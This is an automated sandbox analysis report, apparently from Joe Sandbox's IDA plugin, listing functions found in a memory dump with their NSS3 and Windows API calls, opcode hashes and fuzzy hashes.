Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: sqlite3_log$memset
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4183441054-598938438
Opcode ID: d39bb003c2879fe1115e9e179d2db78eb495077e952aed60634afda1a7bddd07
Instruction ID: 7e21339c65697a9ef34278b338e12ee4b4c484af83823d158996406a84252c89
Opcode Fuzzy Hash: d39bb003c2879fe1115e9e179d2db78eb495077e952aed60634afda1a7bddd07
Instruction Fuzzy Hash: 43810231A44608DFDB148F28C991B6B33B6FF85314F158469E85E5B246DB39EC02CB93

Function 6BAB29E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6BAB21DD,00000000), ref: 6BAB2A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6BAB21DD,00000002,00000000,00000000,?,?,6BAB21DD,00000000), ref: 6BAB2A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6BAB21DD,00000000), ref: 6BAB2A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BAB2AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6BAB2B0D
PK11_FreeSymKey.NSS3(?), ref: 6BAB2B7B
PK11_FreeSymKey.NSS3(?), ref: 6BAB2BD6

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: bc64599b0d91547e4231096844f645a47877d59953cb7dd67b2ebc7a92879c9f
Instruction ID: 0b7d12745c74da3feba0d26b9a8d48640f08db9dc33b0b49591365414f7b8f33
Opcode Fuzzy Hash: bc64599b0d91547e4231096844f645a47877d59953cb7dd67b2ebc7a92879c9f
Instruction Fuzzy Hash: F651F7B1E003059BEF108F65DD81F6A7BB9AF44318F04016DED39AB291EB39E985C791

Function 6BA98B60 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BA98B93
PL_strncasecmp.NSS3(?,OID.,00000004), ref: 6BA98BAA
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6BA98D28
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA98D44
memcpy.VCRUNTIME140(?,?,00000000), ref: 6BA98D72

Strings

OID., xrefs: 6BA98BA4

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CopyErrorItem_L_strncasecmpUtilmemcpystrlen
String ID: OID.
API String ID: 4247295491-3585844982
Opcode ID: 65465a7c36bde776ef57caa9fca76e154b6b4c76688828ffecdd6348841841db
Instruction ID: e033114ef9f94379bcaf0aa83110bd7f8429500abe2fe1bdb0c3c0d63355e8a1
Opcode Fuzzy Hash: 65465a7c36bde776ef57caa9fca76e154b6b4c76688828ffecdd6348841841db
Instruction Fuzzy Hash: 4F513AB1F101249BCF20EA18EC8079EB3E4EB55788F0845E9E919DB381D73C9DC19B94

Function 6BA56980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6BA55DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA55DEC
Part of subcall function 6BA55DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6BA55E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA569BA

Part of subcall function 6BA9FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6BA49003,?), ref: 6BA9FD91
Part of subcall function 6BA9FD80: PORT_Alloc_Util.NSS3(A4686BAA,?), ref: 6BA9FDA2
Part of subcall function 6BA9FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686BAA,?,?), ref: 6BA9FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6BA56A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA56AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA56ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA56AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA56AE9

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 427a476749ddc84606bfc6b9676e420ff94aabe92d80772d3d01b2cdbeaa5448
Instruction ID: 4a216daab6b8b6ea7721a62aea451f29bcf1d462958a42899715745e162a0fbe
Opcode Fuzzy Hash: 427a476749ddc84606bfc6b9676e420ff94aabe92d80772d3d01b2cdbeaa5448
Instruction Fuzzy Hash: 53418372A006009BEF14DF38EC46B9B77E9BF45710F088428E55A97340EF39EA61C7A1

Function 6BA42920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BA4294E

Part of subcall function 6BAA1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6BA41D97,?,?), ref: 6BAA1836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BA4296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BA42991

Part of subcall function 6BAA1820: PR_SetError.NSS3(FFFFE005,00000000,?,6BA41D97,?,?), ref: 6BAA184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BA429AF
PR_Now.NSS3 ref: 6BA42A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA42A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA42A79

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 4d7233268ac0ad6c1b3eb7f239b1f2fc9c14bf0e115673bf8dd5cf4bf9a567ce
Instruction ID: edece30fb5853744dbb2300fa760d27dd9084015f6d340a980672d49dc5648a7
Opcode Fuzzy Hash: 4d7233268ac0ad6c1b3eb7f239b1f2fc9c14bf0e115673bf8dd5cf4bf9a567ce
Instruction Fuzzy Hash: 36418071A19351AFCB10CE28C940A5FB7E9ABD8754F14892DFC98D3340E734E9898B92

Function 6BA4BA90 Relevance: 10.6, APIs: 7, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6BAD3CAF,?), ref: 6BA4BABF
PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6BAD3CAF,?), ref: 6BA4BAD5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6BAD3CAF,?), ref: 6BA4BB08
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6BAD3CAF,?), ref: 6BA4BB1A
SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6BAD3CAF,?), ref: 6BA4BB3B
PR_SetError.NSS3(FFFFE005,00000000,6BAD3CAF,?), ref: 6BA4BB5F
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6BAD3CAF,?), ref: 6BA4BB75

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_$CopyErrorFreeItem_memset
String ID:
API String ID: 3944093909-0
Opcode ID: 8f20564b91dae92ad9def858f6634b738a4cbe907818951d4c420d8c6c739663
Instruction ID: 6da9546703ab7087b88e915f7041859e78978cfe58136ac29a90537c5f82df73
Opcode Fuzzy Hash: 8f20564b91dae92ad9def858f6634b738a4cbe907818951d4c420d8c6c739663
Instruction Fuzzy Hash: A2213972A002149BEF008F69DD81F2E77A4EF80308F594179E91CAB394D7749C96C7A1

Function 6BA9FBD0 Relevance: 10.6, APIs: 7, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA9FC12
free.MOZGLUE(?), ref: 6BA9FC2B
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6BA9FC44
realloc.MOZGLUE(?,?), ref: 6BA9FC54
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BA9FC68
PORT_ArenaGrow_Util.NSS3(?,?,?,?), ref: 6BA9FC76
PORT_Alloc_Util.NSS3(?), ref: 6BA9FC81

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Grow_freerealloc
String ID:
API String ID: 1441890768-0
Opcode ID: 6464c70d766fb6990a81663fbc7e238fcb3b94cb14db5f96e47775330ff0fb2d
Instruction ID: 10816a95d4443639a92365acb3981088eeea20d4b10c18a2a3044168a5f0384b
Opcode Fuzzy Hash: 6464c70d766fb6990a81663fbc7e238fcb3b94cb14db5f96e47775330ff0fb2d
Instruction Fuzzy Hash: 9A21F8B4B1421177EF007E69BD81B16B2DCAB41B48F14C13DBD3987600E72BF4D0A2A1

Function 6BA63810 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6BA4A8F0,?,00000000), ref: 6BA63827
EnterCriticalSection.KERNEL32(?,?,6BA4A8F0,?,00000000), ref: 6BA63840
TlsGetValue.KERNEL32(?,?,?,6BA4A8F0,?,00000000), ref: 6BA6385A
EnterCriticalSection.KERNEL32(?,?,?,?,6BA4A8F0,?,00000000), ref: 6BA6386F
PL_HashTableLookup.NSS3(?,?,?,?,?,6BA4A8F0,?,00000000), ref: 6BA63888
PR_Unlock.NSS3(?,?,?,?,?,6BA4A8F0,?,00000000), ref: 6BA63895
PR_Unlock.NSS3(?,?,?,?,?,6BA4A8F0,?,00000000), ref: 6BA638B6

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 30d0bec901cf02ca474fc0d27da30cf6974745640726e5fb50adf4835f73ca47
Instruction ID: 29ac413dbec9b6a9e4f7af428fb6cc2327383875d598a5a442f46561131b6f6f
Opcode Fuzzy Hash: 30d0bec901cf02ca474fc0d27da30cf6974745640726e5fb50adf4835f73ca47
Instruction Fuzzy Hash: B02148B59046149BDB10AF7CC185569BBF4EF49394B098A69EC98CB301EB34E8D2CBD1

Function 6BA468E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA468FB
EnterCriticalSection.KERNEL32 ref: 6BA46913
PORT_FreeArena_Util.NSS3 ref: 6BA4693E
PR_Unlock.NSS3 ref: 6BA46946
DeleteCriticalSection.KERNEL32 ref: 6BA46951
free.MOZGLUE ref: 6BA4695D
PR_Unlock.NSS3 ref: 6BA46968

Part of subcall function 6BAEDD70: TlsGetValue.KERNEL32 ref: 6BAEDD8C
Part of subcall function 6BAEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6BAEDDB4

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 8fb0cd852eade4df4be7802687faa670f011648d28f81006ca89ac2c78148e4f
Instruction ID: 14c24e4f5f8f13ee15a951adf9888d4c50e8edce7b2915d517be6e9663461ec8
Opcode Fuzzy Hash: 8fb0cd852eade4df4be7802687faa670f011648d28f81006ca89ac2c78148e4f
Instruction Fuzzy Hash: 5B1137B18046059BDF00AF78C18956EBBF4FF46744F0545A9D8999B202EB35D885CBA2

Function 6BB55A30 Relevance: 10.6, APIs: 7, Instructions: 55stringCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(0000000C), ref: 6BB55A46
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BB55A5F
malloc.MOZGLUE(00000001), ref: 6BB55A69
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BB55A7F
PR_NewLock.NSS3 ref: 6BB55A92

Part of subcall function 6BA30F00: PR_GetPageSize.NSS3(6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F1B
Part of subcall function 6BA30F00: PR_NewLogModule.NSS3(clock,6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F25

PR_Free.NSS3(00000000), ref: 6BB55AA9
PR_Free.NSS3(00000000), ref: 6BB55AB2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Freemalloc$LockModulePageSizestrcpystrlen
String ID:
API String ID: 1933067396-0
Opcode ID: a8821f59e0848c84eab05e983fd71feba21af16317cd329ae7cf99049e1dbbb9
Instruction ID: 15c510526b135a8003605ee799f114761f9a6dd31ef6d9983f8b35f5b2fcdbf0
Opcode Fuzzy Hash: a8821f59e0848c84eab05e983fd71feba21af16317cd329ae7cf99049e1dbbb9
Instruction Fuzzy Hash: A80171B2A002426BFB005FB59C86B2B7758EB41699F104132EA19C6201FB3AD434C7E7

Function 6BB5CBE0 Relevance: 10.5, APIs: 7, Instructions: 46COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000010), ref: 6BB5CBEA
PR_NewLock.NSS3 ref: 6BB5CBF9

Part of subcall function 6BB098D0: calloc.MOZGLUE(00000001,00000084,6BA30936,00000001,?,6BA3102C), ref: 6BB098E5

PR_NewCondVar.NSS3(00000000), ref: 6BB5CC05

Part of subcall function 6BA2BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6BA321BC), ref: 6BA2BB8C

free.MOZGLUE(00000000), ref: 6BB5CC1C
DeleteCriticalSection.KERNEL32(-0000001C), ref: 6BB5CC34
free.MOZGLUE(00000000), ref: 6BB5CC41
free.MOZGLUE(00000000), ref: 6BB5CC47

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: callocfree$CondCriticalDeleteLockSection
String ID:
API String ID: 687540378-0
Opcode ID: 5e0e4dbc6c6c232ae7ab6275ba86609bb39a785e9690baa16751b523404f7424
Instruction ID: 182559ac2b5f53bef631e3eb17eff09329635523570477268270f619c5f17395
Opcode Fuzzy Hash: 5e0e4dbc6c6c232ae7ab6275ba86609bb39a785e9690baa16751b523404f7424
Instruction Fuzzy Hash: 99F0F6726002015BE7006F7D9D45A6F3A9CDF47AA9F040434ED8AC3302EA6AD421C7FB

Function 6BB5C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6BAD1AB6,00000000,?,?,6BAD07B9,?), ref: 6BB5C9C6
free.MOZGLUE(?,?,6BAD07B9,?), ref: 6BB5C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6BB5C9E5
free.MOZGLUE(?), ref: 6BB5C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6BB5C9F8
free.MOZGLUE(?), ref: 6BB5C9FF
free.MOZGLUE(00000000), ref: 6BB5CA0B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: f1ac6bd16a56e279f14ea94e07ae15680e0aaffbe0b71df2870d39cbf0d7084b
Instruction ID: b107ec04203360347f5154dbe173d5c2f4f935e5d596020acabb544f8b9444aa
Opcode Fuzzy Hash: f1ac6bd16a56e279f14ea94e07ae15680e0aaffbe0b71df2870d39cbf0d7084b
Instruction Fuzzy Hash: 0A014FB2400609ABDB00EFB4CC4886BB7BCFE4A2617040525E906C3600D736F456CBE5

Function 6BA9A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0703b3ddcad76bc9e70125c638b2f6affb6e19228a29bed8444a44a6d9d7407b
Instruction ID: 2f1cd043862916fb2b5a90dc9646858bf9d0da7af6d65bacb5d730cdd4f3c724
Opcode Fuzzy Hash: 0703b3ddcad76bc9e70125c638b2f6affb6e19228a29bed8444a44a6d9d7407b
Instruction Fuzzy Hash: FD916D31D141685FDF25AE28E8913EE77F7AF4A704F0880E7C4999B201D6398DC5DB91

Function 6B9C3850 Relevance: 9.1, APIs: 6, Instructions: 133threadstringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,00000025), ref: 6B9C3890
TlsGetValue.KERNEL32 ref: 6B9C38D2
PR_CallOnce.NSS3(6BBA14E4,6BB0CC70), ref: 6B9C391C
PR_GetCurrentThread.NSS3 ref: 6B9C3977
memcpy.VCRUNTIME140(?,?,?), ref: 6B9C39A2
PR_GetCurrentThread.NSS3 ref: 6B9C39F2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CurrentThread$CallOnceValuememcpystrchr
String ID:
API String ID: 892352074-0
Opcode ID: 984fa9299b68311616cd24ab6c6e3f55aa188b6d268e93186d0a62eb9f08eabd
Instruction ID: 3ba5dd549ed8f7012d002610ab03b9c6df3bdd6483ec7ca95bd980d1b33ed3a8
Opcode Fuzzy Hash: 984fa9299b68311616cd24ab6c6e3f55aa188b6d268e93186d0a62eb9f08eabd
Instruction Fuzzy Hash: A441F0719183118FDB209F39C94176BB7F8FF4A718F018259E89897252EB39D884CB97

Function 6BB5B9B0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 6BB09890: TlsGetValue.KERNEL32(?,?,?,6BB097EB), ref: 6BB0989E

PR_Abort.NSS3 ref: 6BB5BA2E

